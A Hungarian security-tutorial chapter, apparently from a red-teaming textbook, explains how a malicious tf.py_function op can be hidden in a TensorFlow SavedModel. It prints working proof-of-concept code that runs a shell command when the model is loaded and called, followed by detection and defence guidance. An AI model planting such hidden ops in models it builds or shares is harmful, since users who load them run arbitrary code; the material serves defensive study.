Míg az előző fejezetben a PyTorch pickle formátumának klasszikus deserializációs sebezhetőségét vizsgáltuk, a TensorFlow SavedModel formátuma egy másfajta, alattomosabb fenyegetést rejt. Itt a probléma nem egy általános célú szerializációs könyvtárban keresendő, hanem magában a modell formátumának lényegében: a SavedModel nem csupán súlyokat tárol, hanem egy teljes, végrehajtható számítási gráfot.
A kulcsgondolat: A TensorFlow modell nem adat, hanem program. A modell betöltése egyenértékű egy ismeretlen forrásból származó program futtatásával. A gráf csomópontjai nemcsak matematikai műveletek lehetnek, hanem tetszőleges, a gazdarendszeren futó kódot is meghívhatnak.
Ez a paradigmaeltolódás alapjaiban változtatja meg a fenyegetési modellt. A támadónak nem kell egy meglévő sebezhetőséget kihasználnia; egyszerűen csak be kell építenie a kártékony kódot egy legálisnak tűnő műveletbe a modell gráfján belül.
A támadási vektor: A tf.py_function mint trójai faló
A TensorFlow egyik rendkívül rugalmas, de egyben veszélyes funkciója a tf.py_function. Ez az operátor lehetővé teszi, hogy tetszőleges Python kódot becsomagoljunk egy TensorFlow műveletbe, ami aztán a számítási gráf részévé válik. Egy fejlesztő számára ez hasznos lehet egyedi adat-előfeldolgozási lépések vagy nem triviális logikák implementálására. Egy támadó számára pedig ez a tökéletes hátsó ajtó.
A támadás menete pofonegyszerű:
- Előkészítés: A támadó létrehoz egy rosszindulatú Python függvényt, ami például parancsot futtat a rendszeren, adatot szivárogtat ki, vagy letölt egy második fázisú payloadot.
- Becsomagolás: Ezt a függvényt a
tf.py_functionsegítségével egy szabványos TensorFlow operátorrá alakítja. - Beágyazás: A kártékony operátort beilleszti egy egyébként ártalmatlannak tűnő modell gráfjába. Ez lehet egy aktivációs függvény helyén, egy rejtett rétegben, vagy akár a modell inicializációs logikájában.
- Terjesztés: A mérgezett modellt feltölti egy publikus modell-hubra (pl. Hugging Face), egy GitHub repóba, vagy célzottan juttatja el az áldozathoz.
A mérgezett modell létrehozása
Nézzük meg, hogyan néz ki ez a gyakorlatban. Az alábbi kódrészlet egy egyszerű modellt hoz létre, amely egy rejtett, kártékony műveletet tartalmaz.
import tensorflow as tf
import os
import numpy as np
# 1. A kártékony payload definiálása egy Python függvényben
def malicious_payload(x):
# A parancs, ami lefut a gazdarendszeren.
# Itt bármi lehet: adatlopás, reverse shell, stb.
# Fontos: A parancs kimenetét vissza kell adni, hogy a gráf érvényes maradjon.
command = "echo 'Payload executed by user: $(whoami)' > /tmp/pwned.txt"
os.system(command)
# Visszaadjuk a bemeneti tensort, hogy a modell működése ne szakadjon meg.
return x
# 2. A modell definiálása egy kártékony réteggel
class PoisonedModel(tf.Module):
def __init__(self):
super(PoisonedModel, self).__init__()
self.dense = tf.keras.layers.Dense(1)
@tf.function(input_signature=[tf.TensorSpec(shape=None, dtype=tf.float32)])
def __call__(self, x):
# 3. A Python függvény becsomagolása tf.py_function-nel
# A Tout=[tf.float32] biztosítja a típushelyességet a gráfban.
x_processed = tf.py_function(func=malicious_payload, inp=[x], Tout=[tf.float32])
# A modell látszólag normálisan működik tovább
return self.dense(x_processed)
# A modell mentése SavedModel formátumban
model = PoisonedModel()
tf.saved_model.save(model, "poisoned_model_directory")
Az áldozat oldala: A gyanútlan végrehajtás
Az áldozat letölti a „hasznos” modellt, és mindössze egyetlen sor kóddal aktiválja a rejtett payloadot.
import tensorflow as tf
import numpy as np
# Az áldozat betölti a gyanútlan modellt
loaded_model = tf.saved_model.load("poisoned_model_directory")
# A payload végrehajtódik, amint a __call__ függvényt (vagy bármely
# más, a kártékony op-ot tartalmazó szignatúrát) meghívják.
print("Modell inferencia futtatása...")
input_data = tf.constant(np.random.rand(10, 10), dtype=tf.float32)
_ = loaded_model(input_data)
print("Inferencia kész. Ellenőrizd a /tmp/pwned.txt fájlt!")
A fenti példában a /tmp/pwned.txt fájl létrehozása egyértelmű bizonyíték. Egy valós támadás során a payload sokkal rejtettebb lenne, például egy csendes hálózati kapcsolatot létesítene egy C2 szerverrel.
Felderítés és védekezés
Szerencsére nem vagyunk teljesen védtelenek. A SavedModel formátum strukturáltsága lehetővé teszi a statikus és dinamikus analízist is.
Statikus analízis: A grafikon boncolása
Mielőtt betöltenénk egy modellt, megvizsgálhatjuk a szerkezetét. A TensorFlow beépített saved_model_cli eszköze az első védelmi vonal.
# A modell szignatúráinak és műveleteinek listázása
saved_model_cli show --dir poisoned_model_directory --all
A parancs kimenetében gyanús operátorneveket kell keresnünk. A tf.py_function a gráfban jellemzően PyFunc vagy EagerPyFunc néven jelenik meg. Ha ilyet találsz egy olyan modellben, ahol nem számítasz rá, az azonnali vörös zászló.
Fejlettebb statikus analízis során magát a saved_model.pb (Protocol Buffer) fájlt is lehet elemezni, és szöveges konstansok (pl. URL-ek, parancsok, fájlnevek) után kutatni benne, bár ezeket a támadók gyakran obfuszkálják.
Dinamikus analízis: A homokozó ereje
A legbiztosabb módszer a modell futásidejű viselkedésének elemzése egy szigorúan kontrollált, izolált környezetben (sandbox). Ez lehet egy Docker konténer, egy virtuális gép, vagy egy speciális elemző platform.
A homokozóban a következőket kell figyelni:
- Hálózati forgalom: A modell megpróbál-e ismeretlen címekre csatlakozni? Titkosítatlan adatokat küld?
- Fájlrendszer-hozzáférés: Létrehoz, módosít vagy olvas a modell váratlan helyeken lévő fájlokat?
- Rendszerhívások: Indít-e a modell új processzeket (pl.
fork,execve)? Hozzáfér-e érzékeny rendszerinformációkhoz?
Az olyan eszközök, mint az strace (rendszerhívások), a tcpdump (hálózati forgalom) vagy a Falco (futásidejű biztonsági elemző) felbecsülhetetlen értékűek a dinamikus analízis során.
Védekezési stratégiák összefoglalása
| Módszer | Leírás | Előny | Hátrány |
|---|---|---|---|
| Forrásellenőrzés | Csak megbízható, ellenőrzött forrásokból (pl. hivatalos TensorFlow Hub, verifikált Hugging Face repók) származó modellek használata. | Egyszerű, a kockázatot jelentősen csökkenti. | Korlátozza a rendelkezésre álló modellek körét. |
| Statikus Analízis | A modell gráfjának vizsgálata gyanús operátorok (pl. PyFunc) után kutatva a betöltés előtt. |
Gyors, nem igényel futtatást. | Obfuszkált payloadok ellen hatástalan lehet. |
| Dinamikus Analízis | A modell futtatása izolált, monitorozott környezetben (sandbox) a viselkedés elemzésére. | A leghatékonyabb módszer a rejtett, rosszindulatú viselkedés felderítésére. | Erőforrás- és időigényes, szakértelmet kíván. |
Összefoglalva, a TensorFlow SavedModel formátumának ereje és rugalmassága egyben a legnagyobb gyengesége is. Red Teamerként ezt a vektort ki kell ismernünk a támadások szimulálásához, védőként pedig tisztában kell lennünk a kockázatokkal és a rendelkezésre álló ellenőrzési mechanizmusokkal. Soha ne bízz meg vakon egy letöltött modellben!